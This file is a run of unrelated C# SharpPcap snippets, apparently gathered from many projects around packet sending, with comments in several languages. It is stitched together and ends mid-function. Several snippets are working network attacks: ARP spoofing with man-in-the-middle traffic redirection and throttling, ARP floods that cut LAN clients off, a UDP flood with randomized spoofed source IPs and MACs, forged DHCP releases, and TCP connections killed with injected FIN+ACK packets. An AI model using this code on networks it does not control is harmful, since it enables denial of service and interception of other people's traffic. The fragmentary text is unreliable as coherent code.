public void Limiter()
{
try
{
RawCapture rawCapture;
do
{
if ((rawCapture = capturedevice.GetNextPacket()) != null)
{
EthernetPacket Packet;
try
{
Packet = PacketDotNet.Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data) as EthernetPacket;
if (Packet == null)
{
return;
}
}
catch (Exception)
{
continue;
}
if (Packet.SourceHwAddress.Equals(device.MAC))
{
if (device.UploadCap == 0 || device.UploadCap > device.PacketsSentSinceLastReset)
{
Packet.SourceHwAddress = capturedevice.MacAddress;
Packet.DestinationHwAddress = device.GatewayMAC;
capturedevice.SendPacket(Packet);
device.PacketsSentSinceLastReset += Packet.Bytes.Length;
}
}
else if (Packet.SourceHwAddress.Equals(device.GatewayMAC))
{
IPv4Packet IPV4 = Packet.Extract(typeof(IPv4Packet)) as IPv4Packet;
if (IPV4.DestinationAddress.Equals(device.IP))
{
if (device.DownloadCap == 0 || device.DownloadCap > device.PacketsReceivedSinceLastReset)
{
Packet.SourceHwAddress = capturedevice.MacAddress;
Packet.DestinationHwAddress = device.MAC;
capturedevice.SendPacket(Packet);
device.PacketsReceivedSinceLastReset += Packet.Bytes.Length;
}
}
}
}
} while (device.LimiterStarted && device.Redirected);
device.LimiterStarted = false;
}
catch (Exception)
{
}
}
public void BlockOrRedirect()
{
ICaptureDevice capturedevice = (from devicex in CaptureDeviceList.Instance where ((SharpPcap.WinPcap.WinPcapDevice)devicex).Interface.FriendlyName == NetStalker.Properties.Settings.Default.friendlyname select devicex).ToList()[0];
capturedevice.Open();
#region Spoof
ARPPacket ArpPacketForVicSpoof = new ARPPacket(ARPOperation.Request, MAC, IP, capturedevice.MacAddress, GatewayIP);
ARPPacket ArpPacketForGatewaySpoof = new ARPPacket(ARPOperation.Request, GatewayMAC, GatewayIP, capturedevice.MacAddress, IP);
EthernetPacket EtherPacketForVicSpoof = new EthernetPacket(capturedevice.MacAddress, MAC, EthernetPacketType.Arp);
EthernetPacket EtherPacketForGatewaySpoof = new EthernetPacket(capturedevice.MacAddress, GatewayMAC, EthernetPacketType.Arp);
EtherPacketForGatewaySpoof.PayloadPacket = ArpPacketForGatewaySpoof;
EtherPacketForVicSpoof.PayloadPacket = ArpPacketForVicSpoof;
#endregion
#region Protection
ARPPacket ArpPacketForVicProtection = new ARPPacket(ARPOperation.Request, capturedevice.MacAddress, LocalIP, MAC, IP);
ARPPacket ArpPacketForGatewayProtection = new ARPPacket(ARPOperation.Request, capturedevice.MacAddress, LocalIP, GatewayMAC, GatewayIP);
EthernetPacket EtherPacketForVicProtection = new EthernetPacket(MAC, capturedevice.MacAddress, EthernetPacketType.Arp);
EthernetPacket EtherPacketForGatewayProtection = new EthernetPacket(GatewayMAC, capturedevice.MacAddress, EthernetPacketType.Arp);
EtherPacketForGatewayProtection.PayloadPacket = ArpPacketForGatewayProtection;
EtherPacketForVicProtection.PayloadPacket = ArpPacketForVicProtection;
#endregion
new Thread(() =>
{
try
{
while (Blocked)
{
capturedevice.SendPacket(EtherPacketForVicSpoof);
if (Redirected)
{
capturedevice.SendPacket(EtherPacketForGatewaySpoof);
}
if (SpoofProtection)
{
capturedevice.SendPacket(EtherPacketForGatewayProtection);
capturedevice.SendPacket(EtherPacketForVicProtection);
}
Thread.Sleep(500);
}
}
catch (PcapException)
{
}
}).Start();
}
/// <summary>
/// 发送固定帧按钮
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void button2_Click(object sender, EventArgs e)
{
try
{
device.SendPacket(packetConst);
}
catch
{
return;
}
}
private static void sendDhcpRelease(PhysicalAddress pSourceHwAddress, IPAddress pSourceIpAddress, PhysicalAddress pDestinationHwAddress, IPAddress pDestinationIpAddress)
{
PhysicalAddress ethernetSourceHwAddress = pSourceHwAddress;
PhysicalAddress ethernetDestinationHwAddress = pDestinationHwAddress;
var ethernetPacket = new EthernetPacket(ethernetSourceHwAddress,
ethernetDestinationHwAddress,
EthernetType.None);
var ipPacket = new IPv4Packet(pSourceIpAddress, pDestinationIpAddress);
const ushort udpSourcePort = 68;
const ushort udpDestinationPort = 67;
var udpPacket = new UdpPacket(udpSourcePort, udpDestinationPort);
//-- Combine all bytes to single payload
byte[] payload = buildDhcpReleasePacket(pSourceIpAddress, pSourceHwAddress, pDestinationIpAddress);
udpPacket.PayloadData = payload;
ipPacket.PayloadPacket = udpPacket;
ethernetPacket.PayloadPacket = ipPacket;
device.SendPacket(ethernetPacket);
Console.WriteLine("DHCP Release successful send to: " + pDestinationIpAddress + " from: " + pDestinationIpAddress + " at: " + DateTime.Now.ToShortTimeString());
}
private void btnSendPacket_Click(object sender, RoutedEventArgs e)
{
device = gbxDevInfo.DataContext as ICaptureDevice;
// Open the device
device.Open();
try
{
IPAddress ip = IPAddress.Parse(tbxSourceIp.Text);
IPAddress ipaddress = System.Net.IPAddress.Parse(tbxDestinationIp.Text);
TcpPacket tcpPakje = new TcpPacket(80, 80);
IPv4Packet pakje = new IPv4Packet(ip, ipaddress);
pakje.PayloadData = System.Text.Encoding.ASCII.GetBytes(tbxPayloadIp.Text);
pakje.TimeToLive = int.Parse(tbxTTLIp.Text);
// pakje.Protocol = tbxProtocolIp.Text;
device.SendPacket(pakje);
Console.WriteLine("-- Packet sent successfuly.");
}
catch (Exception ex)
{
Console.WriteLine("-- " + ex.Message);
}
// Close the pcap device
device.Close();
Console.WriteLine("-- Device closed.");
}
public static void Disconnect(IView view, Dictionary <IPAddress, PhysicalAddress> targetlist, IPAddress gatewayipaddress, PhysicalAddress gatewaymacaddress, string interfacefriendlyname)
{
engagedclientlist = new Dictionary <IPAddress, PhysicalAddress>();
capturedevice = (from devicex in CaptureDeviceList.Instance where ((SharpPcap.WinPcap.WinPcapDevice)devicex).Interface.FriendlyName == interfacefriendlyname select devicex).ToList()[0];
capturedevice.Open();
foreach (var target in targetlist)
{
IPAddress myipaddress = ((SharpPcap.WinPcap.WinPcapDevice)capturedevice).Addresses[1].Addr.ipAddress; //possible critical point : Addresses[1] in hardcoding the index for obtaining ipv4 address
ARPPacket arppacketforgatewayrequest = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), gatewayipaddress, capturedevice.MacAddress, target.Key);
EthernetPacket ethernetpacketforgatewayrequest = new EthernetPacket(capturedevice.MacAddress, gatewaymacaddress, EthernetPacketType.Arp);
ethernetpacketforgatewayrequest.PayloadPacket = arppacketforgatewayrequest;
new Thread(() =>
{
disengageflag = false;
DebugOutputClass.Print(view, "Spoofing target " + target.Value.ToString() + " @ " + target.Key.ToString());
try
{
while (!disengageflag)
{
capturedevice.SendPacket(ethernetpacketforgatewayrequest);
}
}
catch (PcapException ex)
{
DebugOutputClass.Print(view, "PcapException @ DisconnectReconnect.Disconnect() [" + ex.Message + "]");
}
DebugOutputClass.Print(view, "Spoofing thread @ DisconnectReconnect.Disconnect() for " + target.Value.ToString() + " @ " + target.Key.ToString() + " is terminating.");
}).Start();
engagedclientlist.Add(target.Key, target.Value);
}
;
}
private void SendPacket(object sender, EventArgs e)
{
EthernetPacket eth = aARPPacket();
device.SendPacket(eth);
Count++;
txtCount.Text = Count.ToString();
}
public static void Send(CapDeviceToken t, byte[] packet)
{
ICaptureDevice dev = _mapping[t.ID];
dev.Open();
dev.SendPacket(packet);
dev.Close();
}
// 发送数据包按钮按下事件，此处处理封包发包
private void SendPacketButton_Click(object sender, EventArgs e)
{
// 打开网络设备
var selectedDeviceIndex = DeviceList.SelectedIndex;
if (selectedDeviceIndex < 0)
{
OutputBox.AppendText("请先选择网络设备。\r\n");
return;
}
var devices = CaptureDeviceList.Instance;
ICaptureDevice curDev = null;
foreach (var dev in devices)
{
if (selectedDeviceIndex == 0)
{
curDev = dev;
break;
}
selectedDeviceIndex--;
}
if (curDev == null)
{
OutputBox.AppendText("错误出现在网络设备上，发送数据包失败。\r\n");
return;
}
curDev.Open();
// 封装数据包
var packetType = NetworkLayerComboBox.SelectedIndex * 10 + TransportLayerComboBox.SelectedIndex;
EthernetPacket ether;
switch (packetType)
{
case 0: // IPv4 + TCP
ether = TcPonIPv4PacketMaker();
OutputBox.AppendText(ether.PrintHex() + "\r\n\r\n");
break;
case 1: // IPv4 + UDP
ether = UdPonIPv4PacketMaker();
OutputBox.AppendText(ether.PrintHex() + "\r\n\r\n");
break;
case 9: // ARP
ether = ArPorRarpPacketMaker();
OutputBox.AppendText(ether.PrintHex() + "\r\n\r\n");
break;
default:
OutputBox.AppendText("错误出现在数据包协议上，发送数据包失败。\r\n");
return;
}
// 发送数据包
curDev.SendPacket(ether);
}
public static void SendARPresponse(ICaptureDevice device, IPAddress srcIP, IPAddress dstIP, PhysicalAddress srcMac, PhysicalAddress dstMac)
{
ARPPacket arp = new ARPPacket(ARPOperation.Response, dstMac, dstIP, srcMac, srcIP);
EthernetPacket eth = new EthernetPacket(srcMac, dstMac, EthernetPacketType.Arp);
arp.PayloadData = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
eth.PayloadPacket = arp;
device.SendPacket(eth);
}
public static void ExecuteRequests(IPAddress destIP)
{
EthernetPacket _ethpac = NetworkHelper.CreateArpBasePacket(_dev.MacAddress);
ARPPacket _arppac = new ARPPacket(ARPOperation.Request,
System.Net.NetworkInformation.PhysicalAddress.Parse("00-00-00-00-00-00"),
destIP,
_ethpac.SourceHwAddress,
srcAddress);
_ethpac.PayloadPacket = _arppac;
try
{
_dev.SendPacket(_ethpac);
}
catch (Exception ex)
{
Logger.Log("Problems with sending ArpRequest flood: " + ex.ToString(), Logger.MessageType.ERROR);
}
}
/// <summary>
/// Actively monitor ARP packets for signs of new clients after GetAllClients active scan is done
/// </summary>
public static void BackgroundScanStart(IView view, string interfacefriendlyname)
{
try
{
IPAddress myipaddress = ((SharpPcap.WinPcap.WinPcapDevice)capturedevice).Addresses[1].Addr.ipAddress; //possible critical point : Addresses[1] in hardcoding the index for obtaining ipv4 address
#region Sending ARP requests to probe for all possible IP addresses on LAN
new Thread(() =>
{
try
{
while (capturedevice != null)
{
for (int ipindex = 1; ipindex <= 255; ipindex++)
{
ARPPacket arprequestpacket = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), IPAddress.Parse(GetRootIp(myipaddress) + ipindex), capturedevice.MacAddress, myipaddress);
EthernetPacket ethernetpacket = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
ethernetpacket.PayloadPacket = arprequestpacket;
capturedevice.SendPacket(ethernetpacket);
}
}
}
catch (PcapException ex)
{
DebugOutputClass.Print(view, "PcapException @ GetClientList.BackgroundScanStart() probably due to capturedevice being closed by refreshing or by exiting application [" + ex.Message + "]");
}
catch (Exception ex)
{
DebugOutputClass.Print(view, "Exception at GetClientList.BackgroundScanStart() inside new Thread(()=>{}) while sending packets [" + ex.Message + "]");
}
}).Start();
#endregion
#region Assign OnPacketArrival event handler and start capturing
capturedevice.OnPacketArrival += (object sender, CaptureEventArgs e) =>
{
Packet packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
ARPPacket arppacket = (ARPPacket)packet.Extract(typeof(ARPPacket));
if (!clientlist.ContainsKey(arppacket.SenderProtocolAddress) && arppacket.SenderProtocolAddress.ToString() != "0.0.0.0" && areCompatibleIPs(arppacket.SenderProtocolAddress, myipaddress))
{
DebugOutputClass.Print(view, "Added " + arppacket.SenderProtocolAddress.ToString() + " @ " + GetMACString(arppacket.SenderHardwareAddress) + " from background scan!");
clientlist.Add(arppacket.SenderProtocolAddress, arppacket.SenderHardwareAddress);
view.ListView1.Invoke(new Action(() => view.ListView1.Items.Add(new ListViewItem(new string[] { (clientlist.Count).ToString(), arppacket.SenderProtocolAddress.ToString(), GetMACString(arppacket.SenderHardwareAddress), "On", ApplicationSettingsClass.GetSavedClientNameFromMAC(GetMACString(arppacket.SenderHardwareAddress)) }))));
view.MainForm.Invoke(new Action(() => view.ToolStripStatusScan.Text = clientlist.Count + " device(s) found"));
}
};
capturedevice.StartCapture();
#endregion
}
catch (Exception ex)
{
DebugOutputClass.Print(view, "Exception at GetClientList.BackgroundScanStart() [" + ex.Message + "]");
}
}
public static void Disconnect(ListView view, Dictionary <IPAddress, PhysicalAddress> targetlist, IPAddress gatewayipaddress, PhysicalAddress gatewaymacaddress, string interfacefriendlyname)
{
engagedclientlist = new Dictionary <IPAddress, PhysicalAddress>();
capturedevice = (from devicex in CaptureDeviceList.Instance where ((SharpPcap.WinPcap.WinPcapDevice)devicex).Interface.FriendlyName == interfacefriendlyname select devicex).ToList()[0];
capturedevice.Open();
foreach (var target in targetlist)
{
ARPPacket ArpPacketForVicSpoof = new ARPPacket(ARPOperation.Request, target.Value, target.Key, capturedevice.MacAddress, gatewayipaddress);
ARPPacket ArpPacketForGatewaySpoof = new ARPPacket(ARPOperation.Request, gatewaymacaddress, gatewayipaddress, capturedevice.MacAddress, target.Key);
EthernetPacket EtherPacketForVicSpoof = new EthernetPacket(capturedevice.MacAddress, target.Value, EthernetPacketType.Arp);
EthernetPacket EtherPacketForGatewaySpoof = new EthernetPacket(capturedevice.MacAddress, gatewaymacaddress, EthernetPacketType.Arp);
EtherPacketForGatewaySpoof.PayloadPacket = ArpPacketForGatewaySpoof;
EtherPacketForVicSpoof.PayloadPacket = ArpPacketForVicSpoof;
new Thread(() =>
{
disengageflag = false;
try
{
while (!disengageflag)
{
capturedevice.SendPacket(EtherPacketForVicSpoof);
if (RedirectionActive)
{
capturedevice.SendPacket(EtherPacketForGatewaySpoof);
}
}
}
catch (PcapException)
{
}
}).Start();
engagedclientlist.Add(target.Key, target.Value);
}
}
void device_OnPacketArrival(object sender, CaptureEventArgs e)
{
var Now = DateTime.Now; // cache 'DateTime.Now' for minor reduction in cpu overhead
var interval = Now - _lastStatisticsOutput;
if (interval > _lastStatisticsInterval)
{
//Console.WriteLine("device_OnPacketArrival: " + e.Device.Statistics);
_captureStatistics = e.Device.Statistics;
_statisticsUiNeedsUpdate = true;
_lastStatisticsOutput = Now;
}
if (CaptureForm._pshPacket != null && _iRecvPackets <= RECEIVING_PACKED_EXPECTED)
{
Packet p = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
TcpPacket tcp = TcpPacket.GetEncapsulated(p);
if (tcp.Psh && tcp.SourcePort == TARGET_PORT && tcp.PayloadData.Length > 0)
{
IPv4Packet ip = (IPv4Packet)IpPacket.GetEncapsulated(CaptureForm._pshPacket);
IPv4Packet lastAckIp = (IPv4Packet)IpPacket.GetEncapsulated(CaptureForm._lastAckPacket);
TcpPacket lastAckTcp = TcpPacket.GetEncapsulated(CaptureForm._lastAckPacket);
lastAckIp.Id = (ushort)(ip.Id + 10);
lastAckIp.UpdateIPChecksum();
lastAckTcp.SequenceNumber = tcp.AcknowledgmentNumber;
lastAckTcp.AcknowledgmentNumber = (uint)(tcp.SequenceNumber + tcp.PayloadData.Length);
lastAckTcp.UpdateTCPChecksum();
_device.SendPacket(CaptureForm._lastAckPacket);
CaptureForm._pshPacket = CaptureForm._lastAckPacket;
_iRecvPackets++;
}
}
lock (_queueLock)
_packetQueue.Add(e.Packet);
}
public List <Target> ScanSubnet(ICaptureDevice dev, List <string> cleanIps, List <Target> macsResponding, PhysicalAddress ourMac, IPAddress ourIp)
{
foreach (string ip in cleanIps)
{
string[] ipArray = ip.Split('.');
IPAddress targetIp = new IPAddress((uint)IPAddress.NetworkToHostOrder((int)IPAddress.Parse(ipArray[3] + "." + ipArray[2] + "." + ipArray[1] + "." + ipArray[0]).Address));
EthernetPacket ethernetPacket = CreateRequestArpPacket(dev, ourMac, ourIp, targetIp, PhysicalAddress.Parse("FFFFFFFFFFFF"));
dev.SendPacket(ethernetPacket);
}
return(macsResponding);
}
public void SendingPACKETS(ICaptureDevice device)
{
device.Open();
byte[] bytes = new byte[1];// GetRandomPacket();
try
{
device.SendPacket(bytes);
Console.WriteLine("Packet sent");
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
device.Close();
}
void Program_OnPacketArrival10(object sender, CaptureEventArgs e)
{
var packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data) as EthernetPacket;
// Проверка наличия пакетов уровня IP
var ipPacket = (IpPacket)packet.Extract(typeof(IpPacket));
if (ipPacket == null)
{
return;
}
// критерий отбора по ip
if ((ipPacket.SourceAddress == ipSourceAddress || ipPacket.DestinationAddress == ipDestinationAddress))
{
query.PutValue(packet);
}
else
{
//подмена МАС
if (packet.SourceHwAddress.Equals(MACsource))
{
packet.SourceHwAddress = GlobalDeviceServer.MacAddress;
packet.DestinationHwAddress = MACdestination;
GlobalDeviceServer.SendPacket(packet);
}
if (packet.SourceHwAddress.Equals(MACdestination))
{
packet.SourceHwAddress = GlobalDeviceClient.MacAddress;
packet.DestinationHwAddress = MACsource;
GlobalDeviceClient.SendPacket(packet);
}
}
}
public void sendWithSpoofedAddress(IPAddress addr, byte[] msg)
{
ushort tcpSourcePort = 20000;
ushort tcpDestinationPort = 20000;
var tcpPacket = new TcpPacket(tcpSourcePort, tcpDestinationPort);
stationConsole.Text += "Sending Spoof Data " + BitConverter.ToString(msg) + Environment.NewLine;
tcpPacket.PayloadData = msg;
//var ipSourceAddress = System.Net.IPAddress.Parse("192.168.1.225");
var ipSourceAddress = addr;
var ipDestinationAddress = System.Net.IPAddress.Parse(splitClientList[0].ToString());
var ipPacket = new IPv4Packet(ipSourceAddress, ipDestinationAddress);
//string destinationHwAddress = buildDstHWAddr();
string destinationHwAddress = BitConverter.ToString(splitClientHWaddr);
var ethernetDestinationHwAddress = System.Net.NetworkInformation.PhysicalAddress.Parse(destinationHwAddress);
stationConsole.Text += "Sending Spoofed Msg to Station: " + Environment.NewLine + "IP: " + ipDestinationAddress.ToString() +
"HW: " + ethernetDestinationHwAddress.ToString() + Environment.NewLine;
// NOTE: using EthernetPacketType.None to illustrate that the Ethernet
// protocol type is updated based on the packet payload that is
// assigned to that particular Ethernet packet
var ethernetPacket = new EthernetPacket(address,
ethernetDestinationHwAddress,
EthernetPacketType.None);
// Now stitch all of the packets together
ipPacket.PayloadPacket = tcpPacket;
ethernetPacket.PayloadPacket = ipPacket;
// and print out the packet to see that it looks just like we wanted it to
Console.WriteLine(ethernetPacket.ToString());
// to retrieve the bytes that represent this newly created EthernetPacket use the Bytes property
byte[] packetBytes = ethernetPacket.Bytes;
try
{
// Send the packet out the network device
transmitDevice.SendPacket(packetBytes);
stationConsole.Text += "-- Packet sent successfuly." + Environment.NewLine;
}
catch (Exception eX)
{
stationConsole.Text += "Pkt send failed" + Environment.NewLine;
}
}
private void btnSendPacket_Click(object sender, EventArgs e)
{
// sends Packets
string packetsendSourceIP = txtPacketSourceIP.Text;
string packetsendDestinationIP = txtPacketDestinationIP.Text;
string packetsendSourceMac = txtPacketSourceMac.Text;
string packetsendDestination = txtPacketDestinationMac.Text;
string packetsendProtocol = cmbPacketType.Text;
int packetsendSourcePort = int.Parse(txtPacketSourcePort.Text);
int packetsendDestinationPort = int.Parse(txtPaxketDestinationPort.Text);
if (true)
{
packetToSend = Monitor.Packet(packetsendSourceIP, packetsendDestinationIP,
packetsendSourcePort, packetsendDestinationPort, packetsendSourceMac,
packetsendDestination, (EthernetPacketType)cmbPacketType.SelectedItem);
device.SendPacket(packetToSend);
}
}
//发送byte[]数据到当前活动网卡
private void sendPacket(byte[] bytes)
{
//选择一个网卡
ICaptureDevice device = getActiveNetAdapte();
device.Open();
try
{
// Send the packet out the network device
device.SendPacket(bytes);
}
catch (Exception e)
{
log.writeLog("发送原始包出现异常:", log.msgType.error);
}
// Close the pcap device
//device.Close();
}
private void processUdpFlood(Object Params)
{
AttackParams _params = Params as AttackParams;
if (_params.UdpFloodEnabled)
{
NetworkInstruments.IpRandomizer IpSpoofer = new NetworkInstruments.IpRandomizer();
PhysicalAddress TargetMac = NetworkInstruments.ResolveMac(Adapter, _params.Target.Address);
ICaptureDevice ActiveDevice = NetworkInstruments.getActiveDevice(Adapter.GetPhysicalAddress());
ActiveDevice.Open();
UdpPacket udpPacket = new UdpPacket(0, 80);
IPv4Packet ipPacket = new IPv4Packet(IPAddress.Any, _params.Target.Address);
ipPacket.Protocol = IPProtocolType.UDP;
ipPacket.PayloadPacket = udpPacket;
if (TargetMac == null)
{
ErrorHandler(1, "Can not get MAC target address");
return;
}
; //unable to resolve mac
EthernetPacket ethernetPacket = new EthernetPacket(Adapter.GetPhysicalAddress(), TargetMac, EthernetPacketType.None);
ethernetPacket.PayloadPacket = ipPacket;
while (Attacking)
{
udpPacket.SourcePort = (ushort)Randomizer.Next(1, 49160);
udpPacket.DestinationPort = (ushort)Randomizer.Next(1, 49160);
udpPacket.PayloadData = new byte[Randomizer.Next(500)];
Randomizer.NextBytes(udpPacket.PayloadData);
udpPacket.UpdateCalculatedValues();
ipPacket.SourceAddress = IpSpoofer.GetNext(ref Randomizer, _params.RestrictedPool);
ipPacket.TimeToLive = Randomizer.Next(20, 128);
ipPacket.UpdateCalculatedValues();
ipPacket.UpdateIPChecksum();
ethernetPacket.SourceHwAddress = NetworkInstruments.GetRandomMac(ref Randomizer);
ethernetPacket.UpdateCalculatedValues();
udpPacket.UpdateUDPChecksum();
ActiveDevice.SendPacket(ethernetPacket);
udpCounter++;
}
}
}
void send_packet()
{
var tcpPacket = new TcpPacket(UInt16.Parse(SRC_port_textBox.Text), UInt16.Parse(DST_port_textBox.Text));
var ipSourceAddress = IPAddress.Parse(SRC_IP_textBox.Text); // "127.0.0.1"
var ipDestinationAddress = IPAddress.Parse(DST_IP_textBox.Text); //"127.0.0.1"
var ipPacket = new IPv4Packet(ipSourceAddress, ipDestinationAddress);
tcpPacket.PayloadData = Encoding.Default.GetBytes(Data_textBox.Text); // "I like dogs"
var sourceHwAddress = "90-90-90-90-90-90";
var ethernetSourceHwAddress = System.Net.NetworkInformation.PhysicalAddress.Parse(sourceHwAddress);
var destinationHwAddress = "80-80-80-80-80-80";
var ethernetDestinationHwAddress = System.Net.NetworkInformation.PhysicalAddress.Parse(destinationHwAddress);
EthernetPacket ethernetPacket = new EthernetPacket(ethernetSourceHwAddress,
ethernetDestinationHwAddress,
EthernetType.None);
ipPacket.PayloadPacket = tcpPacket;
ethernetPacket.PayloadPacket = ipPacket;
captureDevice.SendPacket(ethernetPacket);
}
/// <summary>
/// 尝试发送FIN+ACK标志结束某一组互联网上的连接。
/// </summary>
/// <param name="srcAddress">连接的起点，应为小端地址。</param>
/// <param name="srcPort">连接起点的端口。</param>
/// <param name="dstAddress">连接的终点，应为大端地址。</param>
/// <param name="dstPort">连接终点的端口。</param>
/// <returns>成功发送包返回true，失败返回false。</returns>
public bool KillConnection(IPAddress srcAddress, ushort srcPort, IPAddress dstAddress, ushort dstPort)
{
EthernetPacket ether;
// 寻找指定目标
lock (_tcpLinks) {
if (_tcpLinks.All(item => !(item.SrcAddress.Equals(srcAddress) && item.SrcPort == srcPort) ||
!(item.DstAddress.Equals(dstAddress) && item.DstPort == dstPort)))
{
return(false);
}
ether = new EthernetPacket(_tcpLinks.Find(item => item.SrcAddress.Equals(srcAddress) && item.SrcPort == srcPort &&
item.DstAddress.Equals(dstAddress) && item.DstPort == dstPort)
.LastPacket.BytesHighPerformance);
}
// 解析包数据
var ipv4 = (IPv4Packet)ether.PayloadPacket;
var tcp = (TcpPacket)ipv4.PayloadPacket;
// 设置数据包内容
var payload = new TcpPacket(tcp.SourcePort, tcp.DestinationPort)
{
Fin = true,
Ack = true,
SequenceNumber = (uint)(tcp.SequenceNumber + (tcp.PayloadPacket?.TotalPacketLength ?? 0)),
AcknowledgmentNumber = tcp.AcknowledgmentNumber,
WindowSize = tcp.WindowSize
};
payload.UpdateCalculatedValues();
ipv4.PayloadPacket = payload;
payload.ParentPacket = ipv4;
payload.UpdateTCPChecksum();
_device.SendPacket(ether);
return(true);
}
public static void Disconnect(Dictionary <IPAddress, PhysicalAddress> agListesi, IPAddress atılacakIP, PhysicalAddress atılacakMAC, string donanimIsmi)
{
alikoyulanListe = new Dictionary <IPAddress, PhysicalAddress>(); //
yakalamaAygiti = (from devicex in CaptureDeviceList.Instance where ((WinPcapDevice)devicex).Interface.FriendlyName == donanimIsmi select devicex).ToList()[0]; //buradaki koddaki amacımız
yakalamaAygiti.Open();
foreach (var hedef in agListesi)
{
IPAddress IPAdres = ((WinPcapDevice)yakalamaAygiti).Addresses[1].Addr.ipAddress;
ARPPacket ARPPaketi = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), atılacakIP, yakalamaAygiti.MacAddress, hedef.Key);
EthernetPacket EthernetPaketi = new EthernetPacket(yakalamaAygiti.MacAddress, atılacakMAC, EthernetPacketType.Arp);
EthernetPaketi.PayloadPacket = ARPPaketi;
new Thread(() =>
{
bayrakSerbestMi = false;
while (!bayrakSerbestMi)
{
yakalamaAygiti.SendPacket(EthernetPaketi);
}
}).Start();
alikoyulanListe.Add(hedef.Key, hedef.Value);
}
;
}
private void btnSendPacket_Click(object sender, RoutedEventArgs e)
{
device = gbxDevInfo.DataContext as ICaptureDevice;
// Open the device
device.Open();
try
{
IPAddress ip = IPAddress.Parse(tbxSourceIp.Text);
IPAddress ipaddress = System.Net.IPAddress.Parse(tbxDestinationIp.Text);
TcpPacket tcpPakje = new TcpPacket(80, 80);
IPv4Packet pakje = new IPv4Packet(ip, ipaddress);
pakje.PayloadData = System.Text.Encoding.ASCII.GetBytes(tbxPayloadIp.Text);
pakje.TimeToLive = int.Parse(tbxTTLIp.Text);
// pakje.Protocol = tbxProtocolIp.Text;
device.SendPacket(pakje);
Console.WriteLine("-- Packet sent successfuly.");
}
catch (Exception ex)
{
Console.WriteLine("-- " + ex.Message);
}
// Close the pcap device
device.Close();
Console.WriteLine("-- Device closed.");
}
/// <summary>
/// Populates listview with machines connected to the LAN
/// </summary>
/// <param name="view"></param>
/// <param name="interfacefriendlyname"></param>
public static void GetAllClients(IView view, string interfacefriendlyname)
{
DebugOutputClass.Print(view, "Refresh client list");
#region initialization
view.MainForm.Invoke(new Action(() => view.ToolStripStatusScan.Text = "Please wait..."));
view.MainForm.Invoke(new Action(() => view.ToolStripProgressBarScan.Value = 0));
if (capturedevice != null)
{
try
{
capturedevice.StopCapture(); //stop previous capture
capturedevice.Close(); //close previous instances
}
catch (PcapException ex)
{
DebugOutputClass.Print(view, "Exception at GetAllClients while trying to capturedevice.StopCapture() or capturedevice.Close() [" + ex.Message + "]");
}
}
clientlist = new Dictionary <IPAddress, PhysicalAddress>(); //this is preventing redundant entries into listview and for counting total clients
view.ListView1.Items.Clear();
#endregion
CaptureDeviceList capturedevicelist = CaptureDeviceList.Instance;
capturedevicelist.Refresh(); //crucial for reflection of any network changes
capturedevice = (from devicex in capturedevicelist where ((SharpPcap.WinPcap.WinPcapDevice)devicex).Interface.FriendlyName == interfacefriendlyname select devicex).ToList()[0];
capturedevice.Open(DeviceMode.Promiscuous, 1000); //open device with 1000ms timeout
IPAddress myipaddress = ((SharpPcap.WinPcap.WinPcapDevice)capturedevice).Addresses[1].Addr.ipAddress; //possible critical point : Addresses[1] in hardcoding the index for obtaining ipv4 address
#region Sending ARP requests to probe for all possible IP addresses on LAN
new Thread(() =>
{
try
{
for (int ipindex = 1; ipindex <= 255; ipindex++)
{
ARPPacket arprequestpacket = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), IPAddress.Parse(GetRootIp(myipaddress) + ipindex), capturedevice.MacAddress, myipaddress);
EthernetPacket ethernetpacket = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
ethernetpacket.PayloadPacket = arprequestpacket;
capturedevice.SendPacket(ethernetpacket);
}
}
catch (Exception ex)
{
DebugOutputClass.Print(view, "Exception at GetClientList.GetAllClients() inside new Thread(()=>{}) while sending packets probably because old thread was still running while capturedevice was closed due to subsequent refresh [" + ex.Message + "]");
}
}).Start();
#endregion
#region Retrieving ARP packets floating around and finding out the senders' IP and MACs
capturedevice.Filter = "arp";
RawCapture rawcapture = null;
long scanduration = 5000;
new Thread(() =>
{
try
{
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
while ((rawcapture = capturedevice.GetNextPacket()) != null && stopwatch.ElapsedMilliseconds <= scanduration)
{
Packet packet = Packet.ParsePacket(rawcapture.LinkLayerType, rawcapture.Data);
ARPPacket arppacket = (ARPPacket)packet.Extract(typeof(ARPPacket));
if (!clientlist.ContainsKey(arppacket.SenderProtocolAddress) && arppacket.SenderProtocolAddress.ToString() != "0.0.0.0" && areCompatibleIPs(arppacket.SenderProtocolAddress, myipaddress))
{
clientlist.Add(arppacket.SenderProtocolAddress, arppacket.SenderHardwareAddress);
view.ListView1.Invoke(new Action(() =>
{
view.ListView1.Items.Add(new ListViewItem(new string[] { clientlist.Count.ToString(), arppacket.SenderProtocolAddress.ToString(), GetMACString(arppacket.SenderHardwareAddress), "On", ApplicationSettingsClass.GetSavedClientNameFromMAC(GetMACString(arppacket.SenderHardwareAddress)) }));
}));
//Debug.Print("{0} @ {1}", arppacket.SenderProtocolAddress, arppacket.SenderHardwareAddress);
}
int percentageprogress = (int)((float)stopwatch.ElapsedMilliseconds / scanduration * 100);
view.MainForm.Invoke(new Action(() => view.ToolStripStatusScan.Text = "Scanning " + percentageprogress + "%"));
view.MainForm.Invoke(new Action(() => view.ToolStripProgressBarScan.Value = percentageprogress));
//Debug.Print(packet.ToString() + "\n");
}
stopwatch.Stop();
view.MainForm.Invoke(new Action(() => view.ToolStripStatusScan.Text = clientlist.Count.ToString() + " device(s) found"));
